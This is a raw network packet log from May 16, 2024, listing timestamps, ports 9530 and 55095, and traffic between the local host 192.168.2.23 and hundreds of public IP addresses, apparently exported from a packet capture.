May 16, 2024 16:38:49.988553047 CEST	9530	55095	165.228.229.192	192.168.2.23
May 16, 2024 16:38:49.988554001 CEST	55095	9530	192.168.2.23	139.2.149.205
May 16, 2024 16:38:49.988554955 CEST	55095	9530	192.168.2.23	19.167.121.207
May 16, 2024 16:38:49.988562107 CEST	9530	55095	122.26.158.14	192.168.2.23
May 16, 2024 16:38:49.988571882 CEST	9530	55095	167.57.150.53	192.168.2.23
May 16, 2024 16:38:49.988574982 CEST	55095	9530	192.168.2.23	192.101.78.198
May 16, 2024 16:38:49.988579035 CEST	55095	9530	192.168.2.23	44.136.243.116
May 16, 2024 16:38:49.988581896 CEST	9530	55095	14.135.118.155	192.168.2.23
May 16, 2024 16:38:49.988591909 CEST	9530	55095	124.150.88.221	192.168.2.23
May 16, 2024 16:38:49.988600016 CEST	9530	55095	204.39.125.81	192.168.2.23
May 16, 2024 16:38:49.988604069 CEST	55095	9530	192.168.2.23	165.228.229.192
May 16, 2024 16:38:49.988605022 CEST	55095	9530	192.168.2.23	122.26.158.14
May 16, 2024 16:38:49.988609076 CEST	9530	55095	144.168.143.23	192.168.2.23
May 16, 2024 16:38:49.988612890 CEST	55095	9530	192.168.2.23	167.57.150.53
May 16, 2024 16:38:49.988615990 CEST	55095	9530	192.168.2.23	14.135.118.155
May 16, 2024 16:38:49.988620043 CEST	9530	55095	64.188.22.137	192.168.2.23
May 16, 2024 16:38:49.988629103 CEST	9530	55095	102.175.92.190	192.168.2.23
May 16, 2024 16:38:49.988635063 CEST	55095	9530	192.168.2.23	124.150.88.221
May 16, 2024 16:38:49.988639116 CEST	9530	55095	4.21.109.115	192.168.2.23
May 16, 2024 16:38:49.988641024 CEST	55095	9530	192.168.2.23	204.39.125.81
May 16, 2024 16:38:49.988645077 CEST	55095	9530	192.168.2.23	144.168.143.23
May 16, 2024 16:38:49.988646984 CEST	55095	9530	192.168.2.23	64.188.22.137
May 16, 2024 16:38:49.988648891 CEST	9530	55095	197.212.154.251	192.168.2.23
May 16, 2024 16:38:49.988658905 CEST	9530	55095	48.61.122.29	192.168.2.23
May 16, 2024 16:38:49.988667965 CEST	9530	55095	132.144.160.72	192.168.2.23
May 16, 2024 16:38:49.988675117 CEST	55095	9530	192.168.2.23	102.175.92.190
May 16, 2024 16:38:49.988675117 CEST	55095	9530	192.168.2.23	4.21.109.115
May 16, 2024 16:38:49.988677979 CEST	55095	9530	192.168.2.23	197.212.154.251
May 16, 2024 16:38:49.988678932 CEST	9530	55095	187.243.178.26	192.168.2.23
May 16, 2024 16:38:49.988687992 CEST	9530	55095	49.239.217.56	192.168.2.23
May 16, 2024 16:38:49.988697052 CEST	9530	55095	158.224.113.174	192.168.2.23
May 16, 2024 16:38:49.988706112 CEST	55095	9530	192.168.2.23	48.61.122.29
May 16, 2024 16:38:49.988706112 CEST	9530	55095	99.148.106.0	192.168.2.23
May 16, 2024 16:38:49.988707066 CEST	55095	9530	192.168.2.23	132.144.160.72
May 16, 2024 16:38:49.988715887 CEST	55095	9530	192.168.2.23	187.243.178.26
May 16, 2024 16:38:49.988715887 CEST	55095	9530	192.168.2.23	49.239.217.56
May 16, 2024 16:38:49.988715887 CEST	55095	9530	192.168.2.23	158.224.113.174
May 16, 2024 16:38:49.988718033 CEST	9530	55095	108.217.210.142	192.168.2.23
May 16, 2024 16:38:49.988727093 CEST	9530	55095	24.1.30.83	192.168.2.23
May 16, 2024 16:38:49.988734007 CEST	9530	55095	98.201.162.229	192.168.2.23
May 16, 2024 16:38:49.988735914 CEST	55095	9530	192.168.2.23	99.148.106.0
May 16, 2024 16:38:49.988743067 CEST	9530	55095	154.133.186.211	192.168.2.23
May 16, 2024 16:38:49.988750935 CEST	9530	55095	195.103.104.110	192.168.2.23
May 16, 2024 16:38:49.988758087 CEST	55095	9530	192.168.2.23	24.1.30.83
May 16, 2024 16:38:49.988760948 CEST	9530	55095	174.140.244.233	192.168.2.23
May 16, 2024 16:38:49.988775969 CEST	9530	55095	49.148.172.56	192.168.2.23
May 16, 2024 16:38:49.988778114 CEST	55095	9530	192.168.2.23	154.133.186.211
May 16, 2024 16:38:49.988785982 CEST	9530	55095	39.149.254.82	192.168.2.23
May 16, 2024 16:38:49.988790989 CEST	55095	9530	192.168.2.23	108.217.210.142
May 16, 2024 16:38:49.988790989 CEST	55095	9530	192.168.2.23	98.201.162.229
May 16, 2024 16:38:49.988790989 CEST	55095	9530	192.168.2.23	174.140.244.233
May 16, 2024 16:38:49.988790989 CEST	55095	9530	192.168.2.23	195.103.104.110
May 16, 2024 16:38:49.988795042 CEST	9530	55095	32.82.228.243	192.168.2.23
May 16, 2024 16:38:49.988799095 CEST	9530	55095	132.212.101.30	192.168.2.23
May 16, 2024 16:38:49.988809109 CEST	9530	55095	208.147.91.175	192.168.2.23
May 16, 2024 16:38:49.988814116 CEST	55095	9530	192.168.2.23	49.148.172.56
May 16, 2024 16:38:49.988816977 CEST	9530	55095	92.216.165.244	192.168.2.23
May 16, 2024 16:38:49.988826990 CEST	9530	55095	58.143.33.21	192.168.2.23
May 16, 2024 16:38:49.988840103 CEST	55095	9530	192.168.2.23	208.147.91.175
May 16, 2024 16:38:49.988840103 CEST	55095	9530	192.168.2.23	92.216.165.244
May 16, 2024 16:38:49.988842964 CEST	55095	9530	192.168.2.23	39.149.254.82
May 16, 2024 16:38:49.988846064 CEST	55095	9530	192.168.2.23	132.212.101.30
May 16, 2024 16:38:49.988871098 CEST	55095	9530	192.168.2.23	32.82.228.243
May 16, 2024 16:38:49.988874912 CEST	55095	9530	192.168.2.23	58.143.33.21
May 16, 2024 16:38:49.991789103 CEST	9530	55095	119.200.136.216	192.168.2.23
May 16, 2024 16:38:49.991801023 CEST	9530	55095	133.162.62.105	192.168.2.23
May 16, 2024 16:38:49.991810083 CEST	9530	55095	220.146.78.240	192.168.2.23
May 16, 2024 16:38:49.991818905 CEST	9530	55095	145.174.138.204	192.168.2.23
May 16, 2024 16:38:49.991827011 CEST	9530	55095	204.72.247.138	192.168.2.23
May 16, 2024 16:38:49.991838932 CEST	9530	55095	139.1.22.48	192.168.2.23
May 16, 2024 16:38:49.991847992 CEST	9530	55095	185.100.103.142	192.168.2.23
May 16, 2024 16:38:49.991857052 CEST	9530	55095	8.82.63.238	192.168.2.23
May 16, 2024 16:38:49.991866112 CEST	9530	55095	126.255.34.162	192.168.2.23
May 16, 2024 16:38:49.991873980 CEST	9530	55095	218.30.7.1	192.168.2.23
May 16, 2024 16:38:49.991882086 CEST	9530	55095	44.15.58.52	192.168.2.23
May 16, 2024 16:38:49.991892099 CEST	9530	55095	145.161.120.51	192.168.2.23
May 16, 2024 16:38:49.991895914 CEST	9530	55095	1.162.93.10	192.168.2.23
May 16, 2024 16:38:49.991897106 CEST	55095	9530	192.168.2.23	133.162.62.105
May 16, 2024 16:38:49.991899014 CEST	55095	9530	192.168.2.23	119.200.136.216
May 16, 2024 16:38:49.991899014 CEST	55095	9530	192.168.2.23	220.146.78.240
May 16, 2024 16:38:49.991899014 CEST	55095	9530	192.168.2.23	139.1.22.48
May 16, 2024 16:38:49.991899014 CEST	55095	9530	192.168.2.23	145.174.138.204
May 16, 2024 16:38:49.991899967 CEST	55095	9530	192.168.2.23	204.72.247.138
May 16, 2024 16:38:49.991902113 CEST	55095	9530	192.168.2.23	8.82.63.238
May 16, 2024 16:38:49.991899967 CEST	55095	9530	192.168.2.23	185.100.103.142
May 16, 2024 16:38:49.991904974 CEST	9530	55095	208.246.160.147	192.168.2.23
May 16, 2024 16:38:49.991899967 CEST	55095	9530	192.168.2.23	126.255.34.162
May 16, 2024 16:38:49.991915941 CEST	9530	55095	179.83.140.160	192.168.2.23
May 16, 2024 16:38:49.991919041 CEST	55095	9530	192.168.2.23	218.30.7.1
May 16, 2024 16:38:49.991925955 CEST	9530	55095	121.121.168.153	192.168.2.23
May 16, 2024 16:38:49.991935015 CEST	55095	9530	192.168.2.23	44.15.58.52
May 16, 2024 16:38:49.991935015 CEST	9530	55095	57.253.248.245	192.168.2.23
May 16, 2024 16:38:49.991935968 CEST	55095	9530	192.168.2.23	1.162.93.10
May 16, 2024 16:38:49.991945028 CEST	9530	55095	85.162.143.243	192.168.2.23
May 16, 2024 16:38:49.991945982 CEST	55095	9530	192.168.2.23	208.246.160.147
May 16, 2024 16:38:49.991945028 CEST	55095	9530	192.168.2.23	179.83.140.160
May 16, 2024 16:38:49.991947889 CEST	55095	9530	192.168.2.23	121.121.168.153
May 16, 2024 16:38:49.991954088 CEST	9530	55095	123.90.111.119	192.168.2.23
May 16, 2024 16:38:49.991961956 CEST	55095	9530	192.168.2.23	145.161.120.51
May 16, 2024 16:38:49.991964102 CEST	9530	55095	137.163.73.161	192.168.2.23
May 16, 2024 16:38:49.991976023 CEST	9530	55095	87.172.154.181	192.168.2.23
May 16, 2024 16:38:49.991985083 CEST	9530	55095	77.27.45.14	192.168.2.23
May 16, 2024 16:38:49.991988897 CEST	9530	55095	211.194.219.5	192.168.2.23
May 16, 2024 16:38:49.991992950 CEST	9530	55095	200.83.197.13	192.168.2.23
May 16, 2024 16:38:49.991995096 CEST	55095	9530	192.168.2.23	57.253.248.245
May 16, 2024 16:38:49.991995096 CEST	55095	9530	192.168.2.23	137.163.73.161
May 16, 2024 16:38:49.992002964 CEST	55095	9530	192.168.2.23	123.90.111.119
May 16, 2024 16:38:49.992002964 CEST	9530	55095	205.26.191.95	192.168.2.23
May 16, 2024 16:38:49.992006063 CEST	55095	9530	192.168.2.23	85.162.143.243
May 16, 2024 16:38:49.992012978 CEST	9530	55095	37.166.128.190	192.168.2.23
May 16, 2024 16:38:49.992013931 CEST	55095	9530	192.168.2.23	87.172.154.181
May 16, 2024 16:38:49.992021084 CEST	55095	9530	192.168.2.23	77.27.45.14
May 16, 2024 16:38:49.992024899 CEST	9530	55095	192.194.76.242	192.168.2.23
May 16, 2024 16:38:49.992027044 CEST	55095	9530	192.168.2.23	205.26.191.95
May 16, 2024 16:38:49.992036104 CEST	9530	55095	169.71.192.189	192.168.2.23
May 16, 2024 16:38:49.992046118 CEST	9530	55095	46.243.77.185	192.168.2.23
May 16, 2024 16:38:49.992053032 CEST	55095	9530	192.168.2.23	200.83.197.13
May 16, 2024 16:38:49.992053032 CEST	55095	9530	192.168.2.23	37.166.128.190
May 16, 2024 16:38:49.992053986 CEST	9530	55095	91.197.204.71	192.168.2.23
May 16, 2024 16:38:49.992055893 CEST	55095	9530	192.168.2.23	211.194.219.5
May 16, 2024 16:38:49.992058039 CEST	9530	55095	193.45.17.160	192.168.2.23
May 16, 2024 16:38:49.992060900 CEST	9530	55095	42.221.203.152	192.168.2.23
May 16, 2024 16:38:49.992063046 CEST	55095	9530	192.168.2.23	192.194.76.242
May 16, 2024 16:38:49.992070913 CEST	9530	55095	112.47.28.36	192.168.2.23
May 16, 2024 16:38:49.992079973 CEST	9530	55095	2.30.50.223	192.168.2.23
May 16, 2024 16:38:49.992084980 CEST	55095	9530	192.168.2.23	91.197.204.71
May 16, 2024 16:38:49.992085934 CEST	55095	9530	192.168.2.23	169.71.192.189
May 16, 2024 16:38:49.992085934 CEST	55095	9530	192.168.2.23	46.243.77.185
May 16, 2024 16:38:49.992090940 CEST	9530	55095	144.51.246.59	192.168.2.23
May 16, 2024 16:38:49.992093086 CEST	55095	9530	192.168.2.23	42.221.203.152
May 16, 2024 16:38:49.992093086 CEST	55095	9530	192.168.2.23	112.47.28.36
May 16, 2024 16:38:49.992094994 CEST	55095	9530	192.168.2.23	193.45.17.160
May 16, 2024 16:38:49.992106915 CEST	9530	55095	172.1.81.9	192.168.2.23
May 16, 2024 16:38:49.992116928 CEST	9530	55095	183.5.150.253	192.168.2.23
May 16, 2024 16:38:49.992125034 CEST	9530	55095	12.250.229.120	192.168.2.23
May 16, 2024 16:38:49.992129087 CEST	9530	55095	102.164.253.214	192.168.2.23
May 16, 2024 16:38:49.992134094 CEST	55095	9530	192.168.2.23	2.30.50.223
May 16, 2024 16:38:49.992137909 CEST	9530	55095	90.36.126.253	192.168.2.23
May 16, 2024 16:38:49.992146969 CEST	9530	55095	160.200.130.137	192.168.2.23
May 16, 2024 16:38:49.992212057 CEST	55095	9530	192.168.2.23	160.200.130.137
May 16, 2024 16:38:49.992212057 CEST	55095	9530	192.168.2.23	102.164.253.214
May 16, 2024 16:38:49.992213964 CEST	55095	9530	192.168.2.23	172.1.81.9
May 16, 2024 16:38:49.992223978 CEST	55095	9530	192.168.2.23	144.51.246.59
May 16, 2024 16:38:49.992229939 CEST	55095	9530	192.168.2.23	12.250.229.120
May 16, 2024 16:38:49.992232084 CEST	55095	9530	192.168.2.23	183.5.150.253
May 16, 2024 16:38:49.992232084 CEST	55095	9530	192.168.2.23	90.36.126.253
May 16, 2024 16:38:49.995002031 CEST	9530	55095	158.7.235.155	192.168.2.23
May 16, 2024 16:38:49.995013952 CEST	9530	55095	120.42.150.196	192.168.2.23
May 16, 2024 16:38:49.995023966 CEST	9530	55095	182.186.10.220	192.168.2.23
May 16, 2024 16:38:49.995034933 CEST	9530	55095	208.49.165.126	192.168.2.23
May 16, 2024 16:38:49.995043993 CEST	9530	55095	87.137.99.123	192.168.2.23
May 16, 2024 16:38:49.995053053 CEST	9530	55095	149.185.162.13	192.168.2.23
May 16, 2024 16:38:49.995063066 CEST	9530	55095	175.18.69.98	192.168.2.23
May 16, 2024 16:38:49.995071888 CEST	9530	55095	9.69.207.10	192.168.2.23
May 16, 2024 16:38:49.995081902 CEST	9530	55095	133.160.109.116	192.168.2.23
May 16, 2024 16:38:49.995081902 CEST	55095	9530	192.168.2.23	182.186.10.220
May 16, 2024 16:38:49.995083094 CEST	55095	9530	192.168.2.23	120.42.150.196
May 16, 2024 16:38:49.995081902 CEST	55095	9530	192.168.2.23	149.185.162.13
May 16, 2024 16:38:49.995083094 CEST	55095	9530	192.168.2.23	208.49.165.126
May 16, 2024 16:38:49.995080948 CEST	55095	9530	192.168.2.23	158.7.235.155
May 16, 2024 16:38:49.995093107 CEST	9530	55095	2.198.74.235	192.168.2.23
May 16, 2024 16:38:49.995095968 CEST	55095	9530	192.168.2.23	87.137.99.123
May 16, 2024 16:38:49.995104074 CEST	9530	55095	107.180.168.245	192.168.2.23
May 16, 2024 16:38:49.995110035 CEST	55095	9530	192.168.2.23	133.160.109.116
May 16, 2024 16:38:49.995110035 CEST	55095	9530	192.168.2.23	175.18.69.98
May 16, 2024 16:38:49.995114088 CEST	9530	55095	61.157.1.146	192.168.2.23
May 16, 2024 16:38:49.995115995 CEST	55095	9530	192.168.2.23	9.69.207.10
May 16, 2024 16:38:49.995125055 CEST	9530	55095	102.120.73.19	192.168.2.23
May 16, 2024 16:38:49.995134115 CEST	9530	55095	123.34.212.73	192.168.2.23
May 16, 2024 16:38:49.995142937 CEST	9530	55095	85.22.61.213	192.168.2.23
May 16, 2024 16:38:49.995151043 CEST	55095	9530	192.168.2.23	102.120.73.19
May 16, 2024 16:38:49.995151043 CEST	9530	55095	92.82.119.169	192.168.2.23
May 16, 2024 16:38:49.995151997 CEST	55095	9530	192.168.2.23	61.157.1.146
May 16, 2024 16:38:49.995155096 CEST	55095	9530	192.168.2.23	2.198.74.235
May 16, 2024 16:38:49.995161057 CEST	9530	55095	66.179.128.13	192.168.2.23
May 16, 2024 16:38:49.995171070 CEST	9530	55095	109.8.90.185	192.168.2.23
May 16, 2024 16:38:49.995172977 CEST	55095	9530	192.168.2.23	123.34.212.73
May 16, 2024 16:38:49.995172977 CEST	55095	9530	192.168.2.23	85.22.61.213
May 16, 2024 16:38:49.995178938 CEST	9530	55095	92.229.196.99	192.168.2.23
May 16, 2024 16:38:49.995182991 CEST	55095	9530	192.168.2.23	107.180.168.245
May 16, 2024 16:38:49.995187044 CEST	9530	55095	167.254.195.16	192.168.2.23
May 16, 2024 16:38:49.995196104 CEST	9530	55095	200.62.10.27	192.168.2.23
May 16, 2024 16:38:49.995197058 CEST	55095	9530	192.168.2.23	66.179.128.13
May 16, 2024 16:38:49.995201111 CEST	9530	55095	108.170.39.97	192.168.2.23
May 16, 2024 16:38:49.995201111 CEST	55095	9530	192.168.2.23	92.82.119.169
May 16, 2024 16:38:49.995208025 CEST	55095	9530	192.168.2.23	92.229.196.99
May 16, 2024 16:38:49.995210886 CEST	9530	55095	77.230.111.22	192.168.2.23
May 16, 2024 16:38:49.995220900 CEST	9530	55095	191.4.159.250	192.168.2.23
May 16, 2024 16:38:49.995223045 CEST	55095	9530	192.168.2.23	109.8.90.185
May 16, 2024 16:38:49.995223045 CEST	55095	9530	192.168.2.23	200.62.10.27
May 16, 2024 16:38:49.995225906 CEST	55095	9530	192.168.2.23	167.254.195.16
May 16, 2024 16:38:49.995228052 CEST	55095	9530	192.168.2.23	108.170.39.97
May 16, 2024 16:38:49.995229006 CEST	9530	55095	144.12.175.95	192.168.2.23
May 16, 2024 16:38:49.995238066 CEST	9530	55095	156.157.213.106	192.168.2.23
May 16, 2024 16:38:49.995246887 CEST	9530	55095	91.85.239.22	192.168.2.23
May 16, 2024 16:38:49.995255947 CEST	9530	55095	93.161.202.187	192.168.2.23
May 16, 2024 16:38:49.995258093 CEST	55095	9530	192.168.2.23	77.230.111.22
May 16, 2024 16:38:49.995268106 CEST	55095	9530	192.168.2.23	191.4.159.250
May 16, 2024 16:38:49.995268106 CEST	55095	9530	192.168.2.23	144.12.175.95
May 16, 2024 16:38:49.995269060 CEST	9530	55095	82.130.98.95	192.168.2.23
May 16, 2024 16:38:49.995277882 CEST	9530	55095	133.231.192.162	192.168.2.23
May 16, 2024 16:38:49.995280981 CEST	55095	9530	192.168.2.23	93.161.202.187
May 16, 2024 16:38:49.995285988 CEST	55095	9530	192.168.2.23	91.85.239.22
May 16, 2024 16:38:49.995286942 CEST	9530	55095	153.242.247.34	192.168.2.23
May 16, 2024 16:38:49.995294094 CEST	55095	9530	192.168.2.23	156.157.213.106
May 16, 2024 16:38:49.995297909 CEST	9530	55095	25.14.124.38	192.168.2.23
May 16, 2024 16:38:49.995305061 CEST	55095	9530	192.168.2.23	82.130.98.95
May 16, 2024 16:38:49.995306969 CEST	55095	9530	192.168.2.23	133.231.192.162
May 16, 2024 16:38:49.995307922 CEST	9530	55095	2.165.201.247	192.168.2.23
May 16, 2024 16:38:49.995317936 CEST	9530	55095	126.198.68.238	192.168.2.23
May 16, 2024 16:38:49.995325089 CEST	55095	9530	192.168.2.23	153.242.247.34
May 16, 2024 16:38:49.995326996 CEST	9530	55095	59.182.103.47	192.168.2.23
May 16, 2024 16:38:49.995327950 CEST	55095	9530	192.168.2.23	25.14.124.38
May 16, 2024 16:38:49.995337009 CEST	9530	55095	184.157.120.247	192.168.2.23
May 16, 2024 16:38:49.995347023 CEST	9530	55095	20.104.158.17	192.168.2.23
May 16, 2024 16:38:49.995361090 CEST	9530	55095	108.53.66.185	192.168.2.23
May 16, 2024 16:38:49.995362043 CEST	55095	9530	192.168.2.23	2.165.201.247
May 16, 2024 16:38:49.995362043 CEST	55095	9530	192.168.2.23	126.198.68.238
May 16, 2024 16:38:49.995369911 CEST	9530	55095	96.113.216.128	192.168.2.23
May 16, 2024 16:38:49.995373011 CEST	55095	9530	192.168.2.23	59.182.103.47
May 16, 2024 16:38:49.995382071 CEST	55095	9530	192.168.2.23	184.157.120.247
May 16, 2024 16:38:49.995384932 CEST	9530	55095	217.186.204.191	192.168.2.23
May 16, 2024 16:38:49.995395899 CEST	55095	9530	192.168.2.23	108.53.66.185
May 16, 2024 16:38:49.995402098 CEST	55095	9530	192.168.2.23	96.113.216.128
May 16, 2024 16:38:49.995404959 CEST	55095	9530	192.168.2.23	20.104.158.17
May 16, 2024 16:38:49.995465994 CEST	55095	9530	192.168.2.23	217.186.204.191
May 16, 2024 16:38:49.997991085 CEST	9530	55095	220.195.202.92	192.168.2.23
May 16, 2024 16:38:49.998003006 CEST	9530	55095	78.113.92.99	192.168.2.23
May 16, 2024 16:38:49.998012066 CEST	9530	55095	69.113.200.97	192.168.2.23
May 16, 2024 16:38:49.998016119 CEST	9530	55095	100.227.157.185	192.168.2.23
May 16, 2024 16:38:49.998024940 CEST	9530	55095	167.141.38.1	192.168.2.23
May 16, 2024 16:38:49.998028040 CEST	9530	55095	152.181.165.169	192.168.2.23
May 16, 2024 16:38:49.998039961 CEST	9530	55095	185.1.41.130	192.168.2.23
May 16, 2024 16:38:49.998054028 CEST	9530	55095	35.249.38.20	192.168.2.23
May 16, 2024 16:38:49.998061895 CEST	9530	55095	169.2.144.175	192.168.2.23
May 16, 2024 16:38:49.998070955 CEST	9530	55095	129.79.224.176	192.168.2.23
May 16, 2024 16:38:49.998080969 CEST	9530	55095	88.228.190.149	192.168.2.23
May 16, 2024 16:38:49.998090982 CEST	9530	55095	197.152.33.202	192.168.2.23
May 16, 2024 16:38:49.998095989 CEST	9530	55095	82.102.114.196	192.168.2.23
May 16, 2024 16:38:49.998096943 CEST	55095	9530	192.168.2.23	152.181.165.169
May 16, 2024 16:38:49.998097897 CEST	55095	9530	192.168.2.23	220.195.202.92
May 16, 2024 16:38:49.998097897 CEST	55095	9530	192.168.2.23	78.113.92.99
May 16, 2024 16:38:49.998097897 CEST	55095	9530	192.168.2.23	100.227.157.185
May 16, 2024 16:38:49.998097897 CEST	55095	9530	192.168.2.23	167.141.38.1
May 16, 2024 16:38:49.998097897 CEST	55095	9530	192.168.2.23	169.2.144.175
May 16, 2024 16:38:49.998104095 CEST	9530	55095	44.44.72.248	192.168.2.23
May 16, 2024 16:38:49.998105049 CEST	55095	9530	192.168.2.23	185.1.41.130
May 16, 2024 16:38:49.998114109 CEST	9530	55095	223.100.195.150	192.168.2.23
May 16, 2024 16:38:49.998121023 CEST	55095	9530	192.168.2.23	88.228.190.149
May 16, 2024 16:38:49.998121023 CEST	55095	9530	192.168.2.23	197.152.33.202
May 16, 2024 16:38:49.998123884 CEST	9530	55095	132.215.21.17	192.168.2.23
May 16, 2024 16:38:49.998125076 CEST	55095	9530	192.168.2.23	129.79.224.176
May 16, 2024 16:38:49.998125076 CEST	55095	9530	192.168.2.23	82.102.114.196
May 16, 2024 16:38:49.998126030 CEST	55095	9530	192.168.2.23	35.249.38.20
May 16, 2024 16:38:49.998126030 CEST	55095	9530	192.168.2.23	69.113.200.97
May 16, 2024 16:38:49.998133898 CEST	9530	55095	36.166.210.112	192.168.2.23
May 16, 2024 16:38:49.998147011 CEST	9530	55095	114.187.194.35	192.168.2.23
May 16, 2024 16:38:49.998156071 CEST	9530	55095	207.65.148.69	192.168.2.23
May 16, 2024 16:38:49.998161077 CEST	55095	9530	192.168.2.23	44.44.72.248
May 16, 2024 16:38:49.998164892 CEST	55095	9530	192.168.2.23	223.100.195.150
May 16, 2024 16:38:49.998164892 CEST	9530	55095	76.78.21.18	192.168.2.23
May 16, 2024 16:38:49.998164892 CEST	55095	9530	192.168.2.23	132.215.21.17
May 16, 2024 16:38:49.998164892 CEST	55095	9530	192.168.2.23	36.166.210.112
May 16, 2024 16:38:49.998176098 CEST	9530	55095	89.165.35.60	192.168.2.23
May 16, 2024 16:38:49.998184919 CEST	9530	55095	37.138.181.146	192.168.2.23
May 16, 2024 16:38:49.998188019 CEST	9530	55095	189.63.250.99	192.168.2.23
May 16, 2024 16:38:49.998197079 CEST	9530	55095	167.246.216.177	192.168.2.23
May 16, 2024 16:38:49.998208046 CEST	9530	55095	173.245.9.156	192.168.2.23
May 16, 2024 16:38:49.998215914 CEST	9530	55095	68.254.30.208	192.168.2.23
May 16, 2024 16:38:49.998217106 CEST	55095	9530	192.168.2.23	207.65.148.69
May 16, 2024 16:38:49.998218060 CEST	55095	9530	192.168.2.23	76.78.21.18
May 16, 2024 16:38:49.998222113 CEST	55095	9530	192.168.2.23	114.187.194.35
May 16, 2024 16:38:49.998224020 CEST	9530	55095	217.90.107.53	192.168.2.23
May 16, 2024 16:38:49.998234987 CEST	9530	55095	82.214.59.77	192.168.2.23
May 16, 2024 16:38:49.998243093 CEST	9530	55095	140.209.12.147	192.168.2.23
May 16, 2024 16:38:49.998251915 CEST	9530	55095	96.96.186.246	192.168.2.23
May 16, 2024 16:38:49.998261929 CEST	9530	55095	54.54.144.49	192.168.2.23
May 16, 2024 16:38:49.998272896 CEST	9530	55095	165.52.176.238	192.168.2.23
May 16, 2024 16:38:49.998280048 CEST	55095	9530	192.168.2.23	189.63.250.99
May 16, 2024 16:38:49.998280048 CEST	55095	9530	192.168.2.23	89.165.35.60
May 16, 2024 16:38:49.998281002 CEST	55095	9530	192.168.2.23	37.138.181.146
May 16, 2024 16:38:49.998281956 CEST	55095	9530	192.168.2.23	167.246.216.177
May 16, 2024 16:38:49.998281956 CEST	9530	55095	180.66.20.182	192.168.2.23
May 16, 2024 16:38:49.998282909 CEST	55095	9530	192.168.2.23	173.245.9.156
May 16, 2024 16:38:49.998281956 CEST	55095	9530	192.168.2.23	82.214.59.77
May 16, 2024 16:38:49.998282909 CEST	55095	9530	192.168.2.23	217.90.107.53
May 16, 2024 16:38:49.998286009 CEST	55095	9530	192.168.2.23	140.209.12.147
May 16, 2024 16:38:49.998292923 CEST	9530	55095	177.158.211.73	192.168.2.23
May 16, 2024 16:38:49.998295069 CEST	55095	9530	192.168.2.23	68.254.30.208
May 16, 2024 16:38:49.998301983 CEST	55095	9530	192.168.2.23	54.54.144.49
May 16, 2024 16:38:49.998303890 CEST	9530	55095	73.14.20.59	192.168.2.23
May 16, 2024 16:38:49.998313904 CEST	9530	55095	185.46.218.214	192.168.2.23
May 16, 2024 16:38:49.998323917 CEST	9530	55095	135.244.109.164	192.168.2.23
May 16, 2024 16:38:49.998325109 CEST	55095	9530	192.168.2.23	96.96.186.246
May 16, 2024 16:38:49.998325109 CEST	55095	9530	192.168.2.23	165.52.176.238
May 16, 2024 16:38:49.998327017 CEST	9530	55095	168.51.3.18	192.168.2.23
May 16, 2024 16:38:49.998331070 CEST	9530	55095	27.71.110.225	192.168.2.23
May 16, 2024 16:38:49.998333931 CEST	55095	9530	192.168.2.23	180.66.20.182
May 16, 2024 16:38:49.998336077 CEST	9530	55095	106.170.126.173	192.168.2.23
May 16, 2024 16:38:49.998339891 CEST	9530	55095	138.27.242.221	192.168.2.23
May 16, 2024 16:38:49.998339891 CEST	55095	9530	192.168.2.23	177.158.211.73
May 16, 2024 16:38:49.998339891 CEST	55095	9530	192.168.2.23	73.14.20.59
May 16, 2024 16:38:49.998361111 CEST	55095	9530	192.168.2.23	185.46.218.214
May 16, 2024 16:38:49.998361111 CEST	55095	9530	192.168.2.23	135.244.109.164
May 16, 2024 16:38:49.998361111 CEST	55095	9530	192.168.2.23	27.71.110.225
May 16, 2024 16:38:49.998367071 CEST	55095	9530	192.168.2.23	106.170.126.173
May 16, 2024 16:38:49.998377085 CEST	55095	9530	192.168.2.23	138.27.242.221
May 16, 2024 16:38:49.998377085 CEST	55095	9530	192.168.2.23	168.51.3.18
May 16, 2024 16:38:50.000868082 CEST	9530	55095	54.199.239.211	192.168.2.23
May 16, 2024 16:38:50.000879049 CEST	9530	55095	180.250.213.129	192.168.2.23
May 16, 2024 16:38:50.000886917 CEST	9530	55095	145.164.44.194	192.168.2.23
May 16, 2024 16:38:50.000895977 CEST	9530	55095	73.79.72.155	192.168.2.23
May 16, 2024 16:38:50.000904083 CEST	9530	55095	118.9.100.215	192.168.2.23
May 16, 2024 16:38:50.000912905 CEST	9530	55095	203.93.195.189	192.168.2.23
May 16, 2024 16:38:50.000921011 CEST	9530	55095	114.94.119.73	192.168.2.23
May 16, 2024 16:38:50.000926018 CEST	55095	9530	192.168.2.23	145.164.44.194
May 16, 2024 16:38:50.000931978 CEST	55095	9530	192.168.2.23	54.199.239.211
May 16, 2024 16:38:50.000933886 CEST	9530	55095	185.20.157.184	192.168.2.23
May 16, 2024 16:38:50.000938892 CEST	55095	9530	192.168.2.23	73.79.72.155
May 16, 2024 16:38:50.000938892 CEST	55095	9530	192.168.2.23	180.250.213.129
May 16, 2024 16:38:50.000946045 CEST	9530	55095	36.100.43.120	192.168.2.23
May 16, 2024 16:38:50.000948906 CEST	55095	9530	192.168.2.23	118.9.100.215
May 16, 2024 16:38:50.000955105 CEST	55095	9530	192.168.2.23	203.93.195.189
May 16, 2024 16:38:50.000955105 CEST	9530	55095	36.9.201.237	192.168.2.23
May 16, 2024 16:38:50.000956059 CEST	55095	9530	192.168.2.23	114.94.119.73
May 16, 2024 16:38:50.000965118 CEST	9530	55095	160.49.3.175	192.168.2.23
May 16, 2024 16:38:50.000974894 CEST	9530	55095	67.168.183.41	192.168.2.23
May 16, 2024 16:38:50.000983000 CEST	9530	55095	35.208.251.242	192.168.2.23
May 16, 2024 16:38:50.000992060 CEST	9530	55095	210.253.198.41	192.168.2.23
May 16, 2024 16:38:50.001000881 CEST	9530	55095	201.250.203.221	192.168.2.23
May 16, 2024 16:38:50.001012087 CEST	9530	55095	200.144.135.187	192.168.2.23
May 16, 2024 16:38:50.001024961 CEST	9530	55095	111.109.23.190	192.168.2.23
May 16, 2024 16:38:50.001029015 CEST	9530	55095	130.248.235.133	192.168.2.23
May 16, 2024 16:38:50.001032114 CEST	9530	55095	53.38.232.176	192.168.2.23
May 16, 2024 16:38:50.001035929 CEST	55095	9530	192.168.2.23	185.20.157.184
May 16, 2024 16:38:50.001035929 CEST	9530	55095	13.93.221.3	192.168.2.23
May 16, 2024 16:38:50.001039982 CEST	55095	9530	192.168.2.23	160.49.3.175
May 16, 2024 16:38:50.001039982 CEST	55095	9530	192.168.2.23	36.9.201.237
May 16, 2024 16:38:50.001039982 CEST	55095	9530	192.168.2.23	35.208.251.242
May 16, 2024 16:38:50.001039982 CEST	55095	9530	192.168.2.23	67.168.183.41
